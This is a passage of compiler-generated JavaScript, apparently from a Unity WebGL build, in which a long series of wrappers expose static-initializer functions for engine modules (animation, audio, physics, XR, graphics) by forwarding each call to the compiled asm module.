Module[\"asm\"][\"__GLOBAL__sub_I_Mesh_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Animation_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Animation_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_2_cpp=Module[\"__GLOBAL__sub_I_Modules_Animation_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Animation_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_7_cpp=Module[\"__GLOBAL__sub_I_Modules_Animation_7_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Animation_7_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Audio_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Audio_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_Audio_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Audio_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_3_cpp=Module[\"__GLOBAL__sub_I_Modules_Audio_Public_3_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Audio_Public_3_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp=Module[\"__GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Cloth_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Cloth_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Cloth_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Grid_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Grid_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Grid_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_IMGUI_0_cpp=Module[\"__GLOBAL__sub_I_Modules_IMGUI_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_IMGUI_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_IMGUI_1_cpp=Module[\"__GLOBAL__sub_I_Modules_IMGUI_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_IMGUI_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Input_Private_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Input_Private_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Input_Private_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_ParticleSystem_0_cpp=Module[\"__GLOBAL__sub_I_Modules_ParticleSystem_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_ParticleSystem_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Physics_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Physics_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics_2_cpp=Module[\"__GLOBAL__sub_I_Modules_Physics_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Physics_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Profiler_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_Profiler_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Profiler_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp=Module[\"__GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Subsystems_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Subsystems_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Subsystems_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Terrain_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Terrain_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_Terrain_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Terrain_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_2_cpp=Module[\"__GLOBAL__sub_I_Modules_Terrain_Public_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Terrain_Public_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_3_cpp=Module[\"__GLOBAL__sub_I_Modules_Terrain_Public_3_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Terrain_Public_3_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_VR_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Terrain_VR_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Terrain_VR_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp=Module[\"__GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Tilemap_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Tilemap_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Tilemap_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UI_0_cpp=Module[\"__GLOBAL__sub_I_Modules_UI_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_UI_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UI_1_cpp=Module[\"__GLOBAL__sub_I_Modules_UI_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_UI_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UI_2_cpp=Module[\"__GLOBAL__sub_I_Modules_UI_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_UI_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VFX_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_VFX_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_VFX_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VFX_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_VFX_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_VFX_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp=Module[\"__GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VR_0_cpp=Module[\"__GLOBAL__sub_I_Modules_VR_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_VR_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VR_1_cpp=Module[\"__GLOBAL__sub_I_Modules_VR_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_VR_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp=Module[\"__GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Stats_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Stats_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Stats_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Tracing_0_cpp=Module[\"__GLOBAL__sub_I_Modules_XR_Tracing_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Modules_XR_Tracing_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Physics2DScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_Physics2DScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Physics2DScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_PhysicsQuery_cpp=Module[\"__GLOBAL__sub_I_PhysicsQuery_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_PhysicsQuery_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_PhysicsScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_PhysicsScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_PhysicsScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp=Module[\"__GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp=Module[\"__GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp=Module[\"__GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_PluginInterfaceVR_cpp=Module[\"__GLOBAL__sub_I_PluginInterfaceVR_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_PluginInterfaceVR_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Allocator_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Allocator_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Allocator_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Application_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Application_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Application_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_BaseClasses_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_BaseClasses_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_BaseClasses_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_BaseClasses_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_BaseClasses_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_BaseClasses_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_3_cpp=Module[\"__GLOBAL__sub_I_Runtime_BaseClasses_3_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_BaseClasses_3_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Burst_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Burst_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Burst_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_6_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_6_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_6_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_7_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_7_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_7_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_8_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_8_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_8_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Containers_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Containers_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Containers_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Director_Core_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Director_Core_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Director_Core_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_File_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_File_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_File_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Geometry_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Geometry_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Geometry_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_GfxDevice_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_GfxDevice_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_GfxDevice_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_GfxDevice_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_3_cpp=Module[\"__GLOBAL__sub_I_Runtime_GfxDevice_3_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_GfxDevice_3_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_4_cpp=Module[\"__GLOBAL__sub_I_Runtime_GfxDevice_4_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_GfxDevice_4_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_5_cpp=Module[\"__GLOBAL__sub_I_Runtime_GfxDevice_5_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_GfxDevice_5_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_10_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_10_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_10_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_11_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_11_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_11_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_4_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_4_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_4_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_5_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_5_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_5_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_6_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_6_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_6_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_8_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_8_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_8_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Input_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Input_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Input_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Interfaces_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Interfaces_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Interfaces_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Interfaces_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Interfaces_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Interfaces_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Interfaces_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Interfaces_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Interfaces_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Jobs_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Jobs_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Jobs_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Jobs_1_cpp\"].apply(null,arguments)});var 